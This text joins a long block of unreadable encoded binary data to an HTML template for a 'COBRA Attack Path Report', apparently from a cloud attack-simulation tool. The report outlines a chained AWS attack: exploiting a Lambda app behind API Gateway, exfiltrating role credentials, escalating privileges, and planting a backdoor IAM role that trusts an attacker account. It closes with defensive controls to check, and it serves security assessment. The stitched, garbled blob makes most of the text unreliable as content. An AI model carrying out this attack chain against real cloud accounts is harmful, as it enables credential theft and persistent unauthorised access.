z0zXKww(dR5w1w3WwK;9J#I<*o+C5`6v_{s{vF5Ppn2nAN3u{{59uBfI_&=6zWu8lO zrRuF{9VZ|=#8Oa3TS>0OkaJM739MS2cOg5 zZ#6DNNt{z`+Hx-#Nu3Dz7~NxWkL}du5J8*6+lH7(Wn2Z*sMzNww&g3ulB^a~Ycjc9rnWonBW`#ZB4M zmB@M2H*x)o9N(l(>szXR%c6ubF?8d*g%XL|bGFK(W*;zq9>Ss;M-cBduR9~ka zAD(+Gr~2U@q%S^I?JEB+Ny3S>&fBxC@lE-}A#5m4&ky*nina zb`^Jv;;A@Fv!HN7Sk|4!;PDhBW$R+3#9teTg#$8UuJ8Yf)M-{pPsI=<1l&HFV;3ao z_hx1~!gAcg`^-ir3i!HgmgE0GsIiPLHjCG|1f3C6X%PkKE&lys@QOI(emwntJ zaWF4!BPK`xg7r2~yZ_InuN0#IcNXTFP7y`)!{@#DNCDxEJAxm_nYq57l+*N|L~Cd) zy}(jjcoa_&jvQ$3j1XO4Rys8vQNOr48o-0z)n0OxWAd>eU)C+{s^}k0Ed0|viYw#Mpt_CG+LT*D?je)UaQy!aX%$Tfaw;?y${JY; zFT(vp3&XmLC5ly92Wzr9vXLx##)Tn2tb|ulE7v?KCF*mWvCMrw)mHX!ykK`|f>a{E zSYWTeY=dI(%zjOC0?^{kp4N2??+-0xmH?iuv%K{Z=i(CyJlpGlTFbI=zHo&v>r|(aw)grs?dP3La?PD(Pkih z?yp0~SgQX^9hgn@NB+1-3f34T8^kP)4;!N<-c55`+O+7^E03HQX}CW!p!>U8=N+y+ zK~oSQfOdbvR8Jp=SwDOvITnE&aRZIwQ{%PCLR%h&wb<8g&8vPcLL~dvip{l5oCN!a z&lbOzRVx=xlW%Vd*!??909q>FAbT5$iV z|B}Z|-aAqHRK#f#ck_|v=VEsw6QThlVp-iW5dRqYx<}hQ{%kE?T=TGa^15dBb6P`790TrAUJviNE>|P+%T)JZ99?yD zWq?%N5WmaceueJENZG+v%~yJOc2ClF&dMQUfbD+w@W0QL7bowtv>(Ep zBwln|vgBu}u^Zh@d5AfEP@!y#3Xj!XN(YzP?VM$U82=!-vKVuF;HO-EYtabh&XR0I zMFY@vD^5vs;g_m}@^zr)xAi@l2FKVgj=W@zRD(Jwa6pdozEi-~+;p~KZx0RNaeQI! zc8f9r1pAO_{B2y`mzgS*v=+$Oo>~f&)2{c~sxsu-HVj|k8GBwH~E_MX`oUP07PFyTTGRArd}>g z-ag3ca76CZd?i?Bc z14Sf~fSTR7U|}9x52Ec#pP-8Ja@dViWGU1(FcIc>5&nv|5P>=rx&Do!x zdXVeiY_svJek53jO+eN1%a88fiNa;WCu5@{nQxIH4;+z{In|ef-VzY#E5_ zlIJjNS|zC%<<%%xN;Fkk3~PWDGfZ2$Zg(j|hym;)Mey$ci;eNhZhbOmaRT^FdW)mM`Mae!{+4$K5w z|1SoV-~F&zI{Sw5TF^S}@LnDG3xQ>sU7=wjhjqxJrq?^*o961<6jvo)4r%ciIRMJl z=u^;L?&1Mid_>pk$=Rm=%;|oqKd_I!Oj?v;!aRY$j6Q_uwt^(4*C*=*NtjO2c%i%L z;#+>e{=f&3U3cF-Y{*!aeCP&ILl#2AB|sA`2`B}*v*^1ZoRLG17er;7qb4W_rCy+U zrqm*Wu++Q|7XS&%W; zB(J_??J+P2mM;(f!hQVZUhqZ>YiQ& zyB_OzkmWrG1D`kx5vU8``FDI@S>rnBPOVoX>;SP~wr62OY9d42a&p*db5fmtID2Af$iBLpF zGl4_phiqT4TcA8CR|tud*+)x;S*qf=2gLo4*xCLR+Qyf9_|ah`W_#*c7o+?}Dz@2sLC!tK{kn}5|w15}C)B}UO@++<1pW3b{% zv)^MgD_w#Af*Jo9)0X?4GZ!pdX!vHvcc)=tT4WpNYlmTJRwv*ETQFqAN0##RtJ=!r z?D|nNj9jv;N3)s6@dh$?;R9&h)JDttu3DH0Eh!uB4>=0sbCK(Ky^hw(L|fZI*I@SK zoJjW>8jECg9j@%&vMKW_R7b#}9eRkkO|de?j55h~WiE!nn|iQK{XKp|`1f(m$RSeD zG;{dV(SG{k^hoiakR@~=`&EE?gLedWwi2YZbp5xiWkFtJixk(6mHU2FQ%yj5COlHa zBg4T>W+q=(yh3J0y-&4GRU3D425G_41u}0_YW^n3@^W+lj1F7;N3+UVd^uAL6sH>` zO?o(GA(hva(eDVW9`~*HHm-R^c!Sx`mI1xAb0q zGFME|@EYyOh&q^q3^hgBl@6-e=7IQoX!1N@f3?c&V&#*C~$ z?Qr+N{OJSL!poxnvWzjk&%rwj2a{}qLq}g*MB(RtyXg=nUvDWAO#PM`2e$#HUl%HB zmn1utcU8VBnqt0gMi(V=|BHt* ze2eZy`gk6|Qn8qeBs_Vu6_UZTte=r zhb*m1qvE|!=N<#Y|LZCxBoinTAn`r`UCSNbgt1D4$2ZBHKWxW2Wobb(#K;;b5{0NY zO+S9p%;f5fke(i5i=Wm_vDQp`Y(~(!IFS&s@zJhU8nE<&%TMWgpPkCP7C=HcULSpco|J^ejz*`FEdJe(?2~j zQ3bCA!%@g3Mxsbw%pJPdw8uy+^zz6TSQ# zHh7svxq)r5HAdn!uSfQf*=8 zB?)?FeftGn>&e&zV;Z+%rm`$L?xD$J9KF-`)B z-#?0UA9xK7M0~#R-$=14)BZVhUay$-Lx?yyn1z;-K8wA(gPA=TtDBve`L>|a9Ubvc z^MM5+2CY{tNC#o6f}zOF;NTEeme;u0Kd&S&-7wfpn(?|=J56%ibUv6(^{zdfw9uWZ zn{@VaFZHYInXS<&{kuW@IBxF45Xl0Hn&wKZRXzf7^zKgnNe+@C3Zap%LompN@{Spw zozm2!Cmv|GGftGfx@0w9OTWAXcdEtEt5#@u{HgAg85+=j-5^}C8agXjRdIv7MB|Ri z_^Va)3#(5#W>WOw@AlLVtBG;2w~Eb@hm<&&ak3?qo}`z+#ou{E>g5%1dRp;$KKaC- z&yk+X{0V3BUba_CY`;-|bw%bxZ02O_ZS&OKCo4@(o7C_lz0JFJUznS83bBb+lK$F> z5#XZ@d-MwPG$aY+0~Sjpr?7ky15*(`IzQ?r(}nnQ)03t@Qug(HuCc7mB^?!YXI{IXEbCL-4x;AnpRB$Zew|*B02)!dRRu9&@Z)XJ`{0V zx8$J=Sg?MV-H)qb|1r=1IbB(#7&v!37JPCN*pA8t7Tk%5-1&m6@V=n0&B;Z9DWb|D zp+S%AKzF3mE<|O2_J)dRLrBoW?WpY5>hi?xg7`0@%wdkRvwFXo1QgdkOW?Q=`<#Ur zc-_PS-`=u-fR6^%lPvT=6xa|Ckj#vuEk6r*MN>Y`F)-YKEw zv^1^k5LFGtXlDUYH8x*xvi+VZ6Z##FM^6exR{LvL#mn^Frod+N470Z~3!#G11LIyE=?=pJ>M`tk8lSXsyA?Y#UchS+;=E`eqo z$f3z6Jg`s&s3fuP;H+oOOX%SwE~2)o>^xAoBCVqjJC6|gi~sSq%9mw9OVzB(6ws;vC9pw02S?3W!nTUof10Vk(tO2V zpdzzTBx1e!R!62e-TiF0!R6U8RyFfGbkv$4p{}SVfwQ zlmLIrgdKIRN)lBQUGc?74nx^ zwgbDn9ZamH6c{xPECc6*IF=UTSA7WVF?qsQNicA-`bCDI|s~Ilr#0^w|F6 z0BnL|HiJE_JKD{fB1hEqq$wU z%UGLo-#jG1GKiSrJ1~G#LZNm5qh8X}O0Hy-q{%}h)PqAKQ8H4RWgo@BJJIa#A81t* z+Ag*tBzUtj5KGca^=j*&R0pZVU=?VIe)5eUaGo-jAt}oBz|t1>f0% z>IKZT5hJU|nGXw@*Kfe49gBir%q^!s6o&uan+3CB9wg*2{ifk=#bF3A9OwG{@G$eC zS){5YU$nE%Tg?8N#l8?l^KQ3Dz;VTkU)P*%9o!s5d-qUSBv%9RNVs!&%KPVFk$zcn zkpjgDbfDi6*(Jf8?1=k==D{BBup>Tu8+`_kWk9$f&TqU{COTi+PoX}qj_7NPWf<}l z=Q0ofd8b@%)1{IhVWLRcK{95zYOw6J_c!?w_^gd@h~hYYJd_q6$G!$&53f2^ZYQc@ zr)tskTM4_azUY-ZkrX960xBrxOxhSYYp?80dT%5*+F>wX9oK1DvNE}S18gTR6B$6fHN$?U zsWa!rJlw}8S1esYZ0{J{T|UVd12$JNrzdF_r+ML6(LU$|$6C;>y_yanrr3di7Ty%~ z;mrmlZ0+;^RjTTy-Y}&`5`+!-kN;c*&saB-_GB5)^J4k8U>VDI9GDs5p=P(;-MkvP zqW7q|_D#~P`IRFN0C#)=V@u5C4_clWh-i>9*~H=HGT~h8L5{%^Av=zTLijhU$2KgZqoSrLWPb?W zM%1hOX02D19G_La;Z&`6n&Mp9ICEQyK5%63+x*3rRw?8GbQpt+Pju@Km~j@NQd_1u zz`{1;>fC}VJld6B>+f7D*w&_X?)lilb|8TZBkwEO7|CxpcQ@6gUtw5clcbRKw*tMg z&XccfuBbn?gZG$aN0;07lVXGl?iP$z0$F*H#D{AdOo659?|2%OhZGL2$$kRcZ7#;)y=Zha3UCj!CqATG8~`86gGfn@CQxQaEksWRq0RzqOU1Ti}z zKpMRZOQl3G(+0h+o)dL9ja(L2f41%p%Sl-)ZJzFz@B_w(cn!;bOWUhk()Q&KxC2w9 zL*Vi{-DrdI;f=?6#0^N|IaF-wr3 z=MH?F?Tg&6HpG}K2giL(3^Z#?hJ86sI!^_1;V`#XnOA_>TQ}l~y(__a#u8^iBQTHF zL`q7HH2KnPR&i{ZZpr_=07e$D)Jpo&$di0(J1cUFe$B$KK@_Yk=Yj-+)cUHLtL<7R zIO#k8z3j3jJ2lgP!KY_aX0pknXyIQ;J+YtD;|AQ!+=JaL04C_^?qD)j+XtL0)Y*@s zRIyyBN$)B&nI=^u+xN@-**fML;(vVa|A!1)-Ms4$G%OQF8Coq_t#RQwE%qMcU6Z zJQhE4d_>Gq$(4-HPZN8h!CRlCLe2a0rj0 zeEnF6$c~h_Yk$zouxtq4-M+&2+wt$M*w(f&HO24W_PgpG)8@2EM$*T7-gi*zN-m+O zM-*@UdoFjRw7iDIGiYDBjf0FKWr;^o^-4>}Bs=%>Kli{B4d4DIi zFdFW5*Dp-18eX+a}0}(<}13_@@ue0DS&G)X3%`6-4ciJ}iJAS3*!*txK z72?hFvYeCo+S%d+Oj14JQi-s6PAlSjsC+n+)_vMGPVvfBtwbdB|}2Lt15hp{@iip5E}@FZZ=P-x9S!eIiNRBk5}{6 zrO1uO>RQ5A=vQ`i!l!HDXpGv;6_Q4BgBOC(i&*iq^q0 z<}1-6Z>4rC$4$&d-7mSK%PqR@KLtsAUhu;b;oX>rak{W_I-)tB>-dD}gPQ5%#eH^X0{w4JVsLDWkAcSJJ?d5PzZjtEu!tQDHr6}PRxv|5KdbbF%4PW~h z3#E(Q{LlbxcJXh*gfXnhf+!8dQBaKK)J7ZZ5mQ%Umf_Ba&}*FLeD4-%eR@9ckOrg$ z89cm=z(>9S+io94^24Jt7LI_*WOjfOI~(o-xpzNK@X(tcznQp&|zezy(MTP!>}6GL;88LlAv z6CyQZpWqIWvRsAeH5JnfJOxQpxg*ON-k)3Kb$Q{tp~r*FTY0^1ue8R6B4ZV&U^%c~ zqa+!06~yj>AvV7tYYSRik&Nueg=@$wF(K;hQS;A-kqSMq!0UF4ABp!r1$dz5t_(cx zi_mDWfLyUXbbdT8utMs>YJ%swv%pmg`+ZNqwI=}bg_UNk{Uwgfit<~^RdQ;n4bzXr zv&_okxDof3$45a8Uu*3^z3gJ~*y$u|VEKt~KmV7@3x1(8mRBtDKrHH zR2uUYh3}Y}BAwR!<$4xa4h~;kUt>IR?8_{M!F;;O{thtqqU4gYxOPZNvmMj&ee_Mr zL|>IQ-4OVPx0x^nFHD~)*)+%4K*s1$hsHUPRS)O)*SuxHCf#RC(M#IW@oj9=vKQTy zt=TIf<15?m4j(U9w;uJfrH>YF8RdDFY$8(X#yxu&`sGFGcV)9k#%Y4Py`IgfEy^Sg z%75i?8gK0hdCMHDw}@ffWotKvkx zp1cnAxvnx%dX15j5}_6DUZ3>$>h6;NP&;_>)z}ZFL!M{~;TlPhlQPZ89%hAG-?R8- z??Jvc9z_1zl=`MZ+3(c*rO}w}g0zDPan*KI($0B`92>lD<`c>0tSk452UD<*m(R4a zVRWx%!P#3r$TO)8BrVQ4z4F~sg-j^4T{S+%mKa@(BSrs zL3SZ3%X$qbzenU5rnCbeb_PDX-7}IQu23lIa=&D7^G5D_#5~rvid$SXLB*Eo^MmIU zyNq6C0~%gzM7ziLORJ~5BX9Szj1Riq;6RJ?iDC7Vr{acR#(32GCfu^vXVu6Y^-RKM zR2eNu<4H$4kOCm?i&9E}R|=w}iP-Z_FhIdN*1Wt;4{q{|BevN8t*i;_2s#!H$0>H>fPU?_{5K1a9S10@?Ep+!5lvFi>DM`{m^% zm_dX%1UnM06ME0fK~gys*ieV=&6&~0H37eW3xRV23HP&vb$|xh#+b6aCm(=6cV~K- z!+Z4H;A*|cTo~}Ik7lt105>R0Yx|MYjqlHPuFm}XB+>f@Ik#W|etGKSaZHNmG4q95 zV}fJe1rEk#I^*fe!Hrj?Q4OF?{SfB;8mbM+nwN&qVBquYF4g+;L&XVSo4_E>iVFsF z`6P%lT#g_a`{}mV8+=R;y4_04fix5fgjlzF>^M_Rh>}jWl41ae3>(wX?zyWAGI6|j zmosb!FX_IG6o8^L8Ptys08k~5RoqE+7YAolO)Reg_W zkrUqpn1gjdk%WP;L<>G)UcB#Hjgv`89}741R%gTEM%QG5o)Q^h^QM{~_$O0+W#;eu zYF+LK>v244I`Z~eC`f63abCMw=yeHQ?YN&)h*qbc=N|a1$N|N3Y5izEKeie4rEw6f z3!y;s6g~U0kdvqG@N7NNal|y;b|45sbSvG<*Ij-oVHfkWrGbK3loG7ksAw1gTv~{O zGp|a|QG$S8t(??EfX9*;^8&|Ec%ZQRG_Om3FUSI09Vy~b@Z^wN$2bQc5OV+GFbcS| z768AU^fxsV_(P>!#-0*3Xz=`|e(S5Qwy*v|YJo<1tJJ1FW|*Wp`l|2v2j5|f#baQ| zydk{UMjUj(LMPj_!3XI7Ex>PYowmC)^2W0%mT?NV4Zx5zs`?H4v)icCfp~Wqilw3S1$GHF&Vx@+_LjIm=XU7q89!wp? zPoVe4crMz2;0;Yz@|xj=m*mHBl8a)9ZC3=(n~AB9)kPk@ka*8|sg#m7o4h`{eQ3sm|#Rrn?0hhrEv%c%tb*^e2mp0xnNX2+Z%No6GrSnDIegjU`s(X`riY#+L*|=Q+8cPP%52Ma|MzNy^V^Lq%q(^ZBTQ_u}IRI0#@LC z3#hbW2OCRCLxl2XKM+@Exi*vK`tPnXk&z4+?H1+7RN6~-CBfb85sPpFl*b|3Q4ylb5V0O&OC_7OXjfq1W^c^` ztsb>PC^&8jJnkE`IP>l)q0*o_;Sf$?-^zN9ZWVu55VmSV)Vcv^z_oU64)_Ob!cF42 z2S4iEYPH1e`*I8pDmZ*MVJ;|}jB{;tqd!4WYf0TiZ{0EQ!AOrPFO^g^18Wm~@(N0YGa5jghQ zR>;Yh^UKX0@4$iT{08Q7sZh?)z{+NZ6n@mYMc~f_%qZa%c4zSdjdR zB&h&cF;h4EX7U!FRP%w%rH42%fyQ#b zkGC-nGAZWXFJ)C)!fB*sX75!80;;MI#bB@b!}!XmdkSkizgd;Hwa$6MV~`dXc)I+@4cV<1?FQci@@6)^fSt%U7BKzFkp9y^w!Gvk&U@1 z88NqX>UGs^^Y1L>6)8#7dhEZd*;egB!;%<{5w{z1PY7A4f?3O^rDlNXhBRN%=t52& zlrfrS_NCk&6ukLnB0&e6WA@^7B0!r7-W-AGwQ|Jq!zf(gt|)m+il+%?I;aN2UZy}6u;MtH`Mq~kTpn8m3kOuR1uO+|lY?1o49YzeT&#D({j&qjv4RkB<{H zU+<8;{b~I<)T5F&@58X=RnW0l}Njs zr!-(=pYYCyt8Qun#q-979YR$%bzwc-(B3{oLu}^o%j3mD^KrP$AND&?r?FjZUZLP6 zQ^PJO=NvlN;~hnu=GHeZ1|n1*msx(jdYr5Qtvqzphu*>XOd}m`P}HnnbgG36DUPH6 zIcr_;RJ;YsWB!aPufzQ}Ak? zq>zF2S^I1UZ_3fy7$~Fc+>@ZC40#vSS-I0AMB|Mup9{wf>Br>r6b~*%NjtY~)BUvN zy~yrTEIhuqxV?|JyPDa=giY$Rb3VfW)ppk4#rrM@|5n|M@H~{)zP1`E4LN8sERAyJ z-+uQ?YC*k3`|hJ3WfSR+zZ@jo4otaf!7&v*tX4t-YdD_N?w@+8C!DwS(%Yjr@LlHSzSE*`*%cAOvMe3iVwfFl^J|d zH|k|}n-B=B%bcvU+xHo~A_tAwl9bWXkD-kyq?hKulIBHq^g9xt@V&jq_sFkvo+(_< zg59}SElo3OfbV|w#-O#)4Ar~jp^wt@ispDBVuwNCunUrE+;SYs$1&fxZ>=GgE!6uM0OhdPfgM(1=mRc8&wQiB!*o6CScFc<8`g1O67HO zi`vds%e@qc<5-aajLhnfs+T7#fs0V;QD}1MvexsXY37 zT3&@Q=8hJ$b9wgcLIVH7q@iq>7tOl3{R6d|T~{spKl=fot-~CPz{X{(m=|ccj~j`= z*4?tBaQ@DB7Nd=x%!{Djc!DS+b}AKXQ6Fnxz<~MSUzHJW7Ql$H$*9S@8Rcyh{-20r zL0(Oc(wnTKJ4}wMoGrM9@p_<^-<2fjXp_96#;riXWO83fS`ud7I;_QQPB!55bwokk zTFvuLyl)lH$~@=)-U@@9V@CU15Q~$RZ+nU*-nQIMjQPJyjVKIqb_n#tnA0n^zbCWh zCx)}QH>nRxS4BCIt?)FN!61OZ-U_@r^%HXpkV?=<{VJ|iIG0Sq;C6*?e|+(bNqBlD z?8`)08S=_|-45=5D3o~ep%vNn-}dYCew@vN6*lVr_PQQtG_$tI5QJs$-E`idCyvVB zOhm6(tqD$}aLIFJ%uDu;jX6mF&$xn?u2FgoJ=vMWyL}d{*=(H4YQa8QB6=@$cF&hk zrVl;XGyx8m!*&g((+l4$3g&gdH|zt!-gs#pTfX-5{bT!y#v?Jy%K5h5u(v&yqzqvL32(E3M`T0u72Wef6W(hrW(3e5eTfl5)HFGne6w1kG!Ii4VhO6OZdFG zUPA$?5#KNlD1w=cNQLL~OJHdOJ3nxFq%DJ4$~e(uq*&k{G`CkfSwvj@sW@S0f=&t; ze`E>H?+(xEv^90}(E!?U1EpsYb)89+U&;Sy8h39z!yw%Xfa@^^ett1|MLrPo7S4p>x9uKgG#bcXJg4!@MDJz$Y!`uf_eS- zr3YVFy56cwNLrnTG;js&S+NfSF6J9b*_&=-E4QK85Np;TLn`y&t_-PtH_Q9yGBhZq zm0Y;rWMaJcAXbm7Yi*=Iwq{?*@pzjQpMJv9p+dNHkxu%+|Hg@jl@mrOxGidElFgoP zjIs{Ak+vNP0(8`^j~9nJEZO3Sj!l4lzYk#WkT0*x-gT}LB05w7^)#t`&w@eCU??zG zHP7~f5Y0pVL*UMN*#fB^2S9&#mP{bS5^TM9KLH^X8!uoGz?=!i`1Db)TWob?s8&|k zZq4^UAnDWQ%a#H;<%(1ODTG??vnAu_M&Mo$sSE(SH`1g43sU^E_gOQbW;ow@Eg3(P zl*hpjRhwyK@Q@{e+WNq8uAIk*d%w@Gd)Mu_BPEM^7609@HZ7oO9dW(Gb10#NFvH+t%K_9|vNPku)SKRDEl>5D#Qf^U7VqErTq?o+Q&Bjfhig*KaWg5lbYqjq#LlIbFNB+lmJ~vz>F9Q}p z>3p0m0faDWHp$OCmA`|>sb2#xSWQC!urG~1!pB6E!xjE)-bGz~26urB?YMD=~-7kX=t!WjsJ z>7J(QRikZ^2UG5#cckE(M8KYFRNwn4q=gVvVLQ(87ewz!90$kCkgC2%Tef|MzLcu( z>)3u^I|UjYYb2Ra9PB8k{je4Wd0O#StX#cPwAgkM+{Yl>^`Yw%*M~no=1?QJj6DgY z(Rbm=7|X1wzPn1xmHAeL8*JDD_WeK5$D6zwY~#%BLbIBp%?2Jqe0on}c()S)_@i!6 z{h$f`s0mrru!S;oR1sfK5jA&QgKvGf{xrKNV3`5(h7-Lzq8P~UB~@7nkSmg35E*!| zbCK~pqdo8r)tV-f9XF1f4+FQVravDpPFr*QVln$ggKG zsmkV!5F8#~{ek+M*76Iryer>&FhMV%TRk7}=3axdjj+wrpCxpyeVp0q;}{9wuSDxy-+wdOc6cAi%RN?jw9+ar8QY zfOr)--=@b3z4XUQ0;@iTmgHH-olC!PB>7VEYuLQFK+##nLdyQz140Vn94LWbdYH5i z?mUw?Ar$p(cpj$IRVYTDrdr#P#I7*mSF;+Y)NVPNKD8{da1x@|N#;9+c}%F+@g}E? z_m+A{;O}ySPmYtn_qfHO#M3WB1NT*^<+0UgKMClK>wR(y&(k==`P~pTSHrS_w$y#` zQAyW(QgN&>$bB=?&nCq}hRu0vCNT#bRU-z@)UwlYGkFsWj%rM}gZNayapy0{`m9^t zv9etLd}5d3N^T#H2y*{X5ig!YnI88|8fnHr{WMm)UlKdKua+P5pN+4^FsCfLbrGrU z*ag1BHi8$YAHqMW-sC9jh$7*Stb^67_IA_|_e9)CSp8K@hnfZVVVC+96rTf&vnQWj z8ZRqa&N6i*VwQe;hxY>79?!66Q}tT?QE@_TaYB)@x}d?Z$Hz#_l)VvrJ!3#c`G|on zZ+!aEl;lmW705Ttai5exqa}^*8DS!b64mz$|>VJ+VunYpSo*5#42r(QMpE!#~x#aWwr8)f2Jfj z{v~_}kl>W{CTWdWenC(DbmNh-*VE5p*c?bb^*RcHnoBp~z@u-(s=(_px8r!J_~0WM z7p|RQwnJ4@Z2XMer`MmIp!QaEhu*}A6T71_1v1@dWtq2O-x9a0@UNjhV+Fxm%o;n` z7mL4}}6z8s2p+kJIVR}?=l-`DAcd=FPxgI7W%sCCKL6I)(F6Wv(q`d;in1GjdL zh=JT7$pL-5nEx6Rq6-kX+k9av*ZtJDY;g_rQuHEK_k0eTIj{0b^sN+2S439Mz z*eIq9AMLuu8)JYtiaFPaK)$~|I@cb3S!#>5d+O+{l0Z2XyKk($0)F+V;|YL_HbJ(< z5B~!bWzcb`NLUBU7n`DJ=y>j+v~(dTglM3C`kPGD6qP|z>ChQEGSy`BIhG@`q_|5F z^EU3i&MT5X$J5Ue7C#DIGgcM~JR<}RpsaNJ#*$cNIdM*U_>0||^4p>?y)kOv@6M?6c{*~WzH69Oj92S6Cg$4W z4-Agu`+T4#blgktqeAEpk%-+LP*{9kJD5i~bLhPBrFW0l9;$1+y9WQjteG9z-W*%D zHL(!R|CRr%07sM7g3i}~3%88_l|bWQGYo)=*qwI>7_MuYjazK8(GVstGR1L?ut#yJ z=lLpzHkRzz*yYgixhp$d!jQ$gt7La53tT+kJtE3x+Uw3#X?(!|dtTH~5VkfIzj!SZ zC4T@9U<|Ev6EZM9_AiJHaJ-Xcm~zG2H!w0YRcmGGD7hHbgMRdKivRWLoo2fT`5L;X zAfspX{w|+f=r;u)vCH}!D6uzzZ>#P;yPm=JVm7Cpc1l5=Te$PCQML&7yjW#cfz7g! zZ4K*g_x5u`dm&lrg;b19O3k7^1AYqVDLX=gml@Y@y-RjzDETYkqWuhV%6ieguyO{5 zO=5}XI6LU8k)&pecrpXB)_f$l1!F(`?WOV%L@F1<+5;T(%`+0u#T2241 zNIUj!_U69%{Ts%f59b?au_#F6pXZSxr-u-@RhgZ~jci)l&1Ctj%ElDEW!U?o;bc6E8<{FPZc@56mimpwe9oa7=$@ns{mJ1fM>}tuY6RX7!zxWAYl_78i{GpN$zV!CK{Ur*;JNT4@^ZQ!*C+}p&hOeVQA zm*2+&+%Em1{MA2S!B@toqVu>OC|lI+-Q{`3wz9dAtNZqqd?be0lLm38k1i&pQ4zx&;d9JaHR0n#jS$kJ)pr`)akkU1y6RHsSQpU}?dw&3?2&2H7=J0kef=lQgBhyDPcLS@7r_yC#ZJm)R(nq%#t+3bO(AHnhbly$xdU^vQX zJ;iM!_?ep0(pm9W zQYpY@A#IZhx#S4UnHbJKd^%HrMEn!qu5l0_5uwDBrbIm zc>?+WXL8#n5GDJU+n7!SQ?#b+O6X17_0N^g0l$S5315$4dk5}i&d;7q`E>8Qn1N`7 z?0_+iuJX~=i;x!oc`}R*bC2GK%aFRMANX}b`}eT)qO*pD8K5@#|I0ubYUMJQUkXu?@^Mg{H8Gca8t&j2sO%)}8lJD~(- z2pdVGQ~_xJad$4mL)W3a5YTs!39Mc=9qwR)kVUHlg%Okk05zMz_5fppJ=3~HcBc-3 ziHw_4J^OM3G;MrIX2FA~^QYY0Ucze591i!fBX@I+P^(*(pX1IITKw1nTPz*=Hz!-d z(+z3Y=p&$6{)Y`<6~sqecC8!RVPwUYo!Wsxf?kMF{C}P#Bn2S_m=z&^R+Eh!_XE(E z@W<{w9WDYcpLo|XPvg3DkL3l5T@gG;y)ya!T>|ei&Px=Y$jZ|N5iX}eB{0*}B_vPP z&#U6m!!j_vM%ft}r9Dfy56{MQb%K*_YcRlTOfUH#WsxexKiZgwZV=q_8E1JWvwEgH zDAn@;tV^zJ@dsK{w;GDohaaX4Voh)#sl7soa?qiV_B9?wQh^o@l4_i0?!;ES6vw_I zOs`C-SkdiF)~!&2A7_Yp+#>?J@}cpPXi3qfFd5l@g$Cfe>tkaCNL*lm8kdlE*}jiE zMAb3~xCxSv#a;18xDVt-_iM~I&!yq+ygsB5j#RR0At~T7o^h1er??8(Ac(tEb2KGh zD*D&XcqVk|W>)JoN?)S(5i_l9mGZVG@tqXJ87jv+;1lh40mbJeC<#$mf$olWH>~pY zN%audFJpS+R^b}VP@iSsvxex&XYtU_^?|B~u4KDj!7I+mL^-BjIHip_S;6p;DSwpz z{u+c!o@m~8>bZ2<<~3zauypK0V~#jAQxCPkG=3QY)|kxBw{F+A(Uk9t{L9T(D-kU+ z;h`!y$=wBrU5)#!$TRpq>4sJjG6^A6sk)hRUwbYJ?04zMsE$Nd!X#se{m(0WDPr>(2t zAdOljlEKB@2mZVC^X#K5iCxu36WB^YrJ+?glo z_r(9HpUbMcploZOl61y->HFI^rJOfo63=fDtqXz#GQ(uzI{RE0#aXQGsui!e%Y*Gt zCiI`vo96SPoF!HW)-*yb$UvC+Vwe1##_d4N*QquGV9J+Hu6$+kcN~3ni|}2ZzuYbl z8&EA%JbFTJj9Ya-EZN~n*<623S+vMGIZE*vojliBf; zt>O>}^-OjI^(MQGu5aK9cBAqv@R3oKCSNLnr%Go7NftS_Ogp&KVs|inZdUZQzZhJH z_-$D!7GWF3?BRlM#OxzmTEi^1&TWHg0c`(zBcyRGwz1RXH8S9aW6kcX5C0%3w3*P& zw{tlEAZczg5!fJ7z;zLu)hftEjZQo-M|0!F&ab)FcH2MFYxKSXY`U4hTcWLVw({8; zlpe`*w({s%Z*OEdHZQ_zt$AJEx6opHT4fhZ6WR>z_nrqH#$<=F?Y8KZSV;&U5qCO# z=SVHF5k3MM#%pSo537DtNPJOipr+p7Ri_MCCuV)Mc6g&D_ZK--;1Ztt^TGy~fR5AmLl zbz%I9d!WX4hful+zc<1@+uc{)>YexRz52|Bw(;4Ga|s;VxnPV{YSV8xWn6|r2WEL;kJrtT*Q9B{o^0vA>2^pmkavWcp%wCpM9S&m5PN0g6(%>!XE>& z0!{IEdR9jZMMiZq)9a$K6^S0G4a9R1b-^yHPWPw3{HJckYo#&%K^8?bd^SWv-qfG_ zdlq!70l9Hc#yb6aOcnA{3}uSHG6m8mt~(0H%(2IF$*jlif_v~Qox{gzqKPCw+~j{Z zRb?b81P)ZrjP+EC_o6Sns_E23^8geORfM_x&)uGZfZuyVHXMn{7^rskEAg_=Ri!a2 z?p};UyVXY@;K(_3BkprQWPY}HWoGZ_apjOXT5a+ z_-a)|82`)ip3W=6cc9S2PEKgee|FDPGxn>SNQgz~Z6Tq5kI>UUHm)Un0Tf|`=YwX- zCBRJD7Czonm|03lsJ~`;;03}e;3ee{;6$JJe)6UoCf8PoX0Gph2Pam5cyaF-q7tc;Snd8@OU9;!Q|obUC{JAnHMEG yaM+=b%+8)Y`6DRZls+-?{x5peK>OXo2SfXVZyqYkhp$1v4^1^))iM>!C;taXu`Z + + + + + COBRA Attack Path Report + + + +

+
+ COBRA Logo +

COBRA Attack Path Report

+
+
+

Attack Path Scenario Explained

+

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

+
+ +
+

Attack Scenario Breakdown

+

1. Application is exploited through API GW, lambda backend

+

2. Lambda Role credential is discovered and exfiltrated.

+

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

+

4. Attach Privileged Policy to the Role.

+

5. Provision a Backdoor IAM Role to maintain persistence.

+

6. Whitelist Attacker account id in the trust policy of the backdoor role.

+
+ +
+

Attack Path Graph

+ Attack Path Graph +
+
+

Resource Meta Data

+ + + + + + + + + + + + + + + + + + + +
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
+
+
+

List of Controls to Evaluate Post-Attack

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
+
+
